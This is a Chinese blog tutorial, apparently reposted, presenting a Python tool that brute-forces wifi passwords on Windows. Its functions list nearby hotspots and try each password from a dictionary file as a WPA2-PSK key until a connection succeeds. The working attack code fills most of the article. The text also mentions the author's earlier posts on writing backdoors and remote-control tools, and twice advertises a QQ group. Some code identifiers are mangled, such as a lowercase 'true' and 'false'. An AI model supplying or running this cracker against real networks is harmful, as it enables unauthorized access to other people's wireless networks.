当前位置: 七九推 > IT编程>脚本编程>Python > 用Python做黑客,暴力破解wifi密码

用Python做黑客,暴力破解wifi密码

2023年01月24日 Python 我要评论
前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可。delphi黑客编程

前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可。

delphi黑客编程(一):正向后门原理实现
delphi黑客编程(二):反弹后门原理实现
delphi黑客编程(三):简单远控原理实现

在最近的公司项目开发中接触到python语言及wifi相关的一些知识,正好将最近学到的和大家分享一下。另外注意:不管你是为了python就业还是兴趣爱好,记住:项目开发经验永远是核心,如果你没有2020最新python入门到高级实战视频教程,可以去小编的python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,里面很多新python教程项目,还可以跟老司机交流讨教!

0x0001 开发环境:

windows 10+python2.7.15

0x0002 开发目标:

开发基于字典破解wifi热点密码的小工具

在开发这个工具的时候笔者现在网上搜索到了一些项目,但都是linux下的,不能直接用于windows平台,因此就决定结合找到的linux下的项目,修改成windows下可运行的。
首先找到文章《一个非常简单易懂的wifi密码爆破python脚本》https://my.oschina.net/apathy/blog/821039,但是文章中说使用了pywifi模块,“这个模块在win下有点鸡肋,作者在调用wlanapi时没有做好wlan_security_attributes的封装,所以推荐在linux下跑,我测试所使用的是kali 2.0 自带python 2.7.6 ,可直接通过 pip install pywifi 安装。”但笔者在测试的时候发现,在windows下还是可以运行的,因为要对这个模块的源代码进行一些修改,所以就没有安装模块,而是直接拷贝模块的源代码到项目目录下。

0x0003 模块的修改:

在使用模块自带的测试用例时候,发现print输出了很多无用的信息,因此在_wifiutil_win.py的335行去掉对“show_my_need_info”的调用。

0x0004 程序执行流程

功能需求比较清晰,因此我们的步骤如下:
1、获得本机无线网卡信息
2、扫描周围wifi热点
3、使用字典尝试连接wifi热点
4、输出扫描结果

按照上面的流程就可以编写代码了。

0x0005 代码实现

获得无线网信息

引用模块后,主要使用interfaces函数获取本机无线网卡信息,具体代码封装如下:

def get_wifi_interface():
    wifi = pywifi()
    if len(wifi.interfaces()) <= 0:
        print u'未找到无线网卡接口!'
        exit()
    if len(wifi.interfaces()) == 1:
        print u'无线网卡接口: %s'%(wifi.interfaces()[0].name())
        return wifi.interfaces()[0]
    else:
        print '%-4s   %s'%(u'序号',u'网卡接口名称')
        for i,w in enumerate(wifi.interfaces()):
            print '%-4s   %s'%(i,w.name())
        while true:
            iface_no = raw_input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
            no = int(iface_no)
            if no>=0 and no < len(wifi.interfaces()):
                return wifi.interfaces()[no]

扫描周围热点

主要通过scan函数获得scan_results结果,具体代码封装如下,这里sleep(2)是因为测试的时候本机的无线网卡返回信息需要一些时间,当然如果你的网卡性能好,可以去掉这个sleep:

def scan(face):
    face.scan()
    time.sleep(2) 
    return face.scan_results()

尝试连接(破解密码)

密码破解这里先要定义一个profile,然后再将profile作为参数调用connect进行连接尝试,使用status函数取连接结果的返回值,如果是const.iface_connected则连接成功,显示结果,如果是其他则为失败。

def test(i,face,x,key,stu,ts):
    showid = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid
    key_index = 0
    while key_index < len(key):
        k = key[key_index]
        x.key = k.strip()
        face.remove_all_network_profiles()
        profile = profile()
        profile.ssid = x.ssid
        profile.auth = const.auth_alg_open
        profile.akm.append(const.akm_type_wpa2psk)
        profile.cipher = const.cipher_type_ccmp
        profile.key = x.key
        face.connect(face.add_network_profile(profile))
        code = -1
        t1 = time.time()
        now = time.time() - t1
        while true:
            time.sleep(0.1)
            code = face.status()
            now = time.time()-t1
            if now>ts:
                break
            stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showid,now,len(key)-key_index,k.strip(),get_iface_status(code)))
            stu.flush()
            if code == const.iface_disconnected :
                break
            elif code == const.iface_connected:
                face.disconnect()
                stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showid,now,len(key)-key_index,k.strip(),u'**成功!**'))
                stu.flush()
                return "%-20s | %s | %15s"%(x.ssid,x.bssid,k)
        key_index = key_index + 1

    stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showid,'','','',u'失败!'))
    stu.flush()
    return false

主要代码如上,运行效果如下:

1.png

问题

这里有一个问题,就是pywifi模块的windows版本的代码里并没有实现获取wifi热点的加密状态信息,比如是使用wpa、wpa2、wpa2psk还是wpapsk方式加密认证的,因此我就默认将所有的wifi热点看作是开启了加密认证的,并在破解的时候视为“profile.akm.append(const.akm_type_wpa2psk)”进行破解尝试。
最后注意:不管你是为了python就业还是兴趣爱好,记住:项目开发经验永远是核心,如果你没有2020最新python入门到高级实战视频教程,可以去小编的python交流.裙 :七衣衣九七七巴而五(数字的谐音)转换下可以找到了,里面很多新python教程项目,还可以跟老司机交流讨教!

本文的文字及图片来源于网络加上自己的想法,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

(0)
打赏 微信扫一扫 微信扫一扫

相关文章:

  • python如何更新包

    python如何更新包

    python安装新包,pip是很好用的安装工具。pip list 可以查询所有已安装的包和版本。怎么知道本地安装包的版本是否有可以更新的新版本呢?通过pip l... [阅读全文]
  • Python数据持久化shelve模块用法分析

    Python数据持久化shelve模块用法分析

    本文实例讲述了Python数据持久化shelve模块用法。分享给大家供大家参考,具体如下:一、简介在python3中我们使用json或者pickle持久化数据,... [阅读全文]
  • PyCharm颜色设置

    选择主题和背景图片选择字体、修改字体大小新建颜色主题修改背景颜色修改注释颜色file  -->  setting  (ctrl + shift + s)1、选择不同的主题、选…

    2023年01月26日 脚本编程
  • Flask入门之完整项目搭建

    Flask入门之完整项目搭建

    一、创建虚拟环境  1,新建虚拟环境  cmd中输入:mkvirtualenv 环境名  2,在虚拟环境安装项目运行所需要的基本模块pip install fl... [阅读全文]
  • 对python csv模块配置分隔符和引用符详解

    对python csv模块配置分隔符和引用符详解

    如下所示:file = open('./abc.csv')csv.reader(file, delimiter=',', quotechar='"')说明:de... [阅读全文]
  • django实现前后台交互实例

    django实现前后台交互实例

    本文介绍了django实现前后台交互实例,分享给大家,希望对大家有所帮助准备工作:前端框架:AngularJS+bootstap数据库:sqlite3前端代码:... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2023  七九推 保留所有权利. 粤ICP备17035492号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com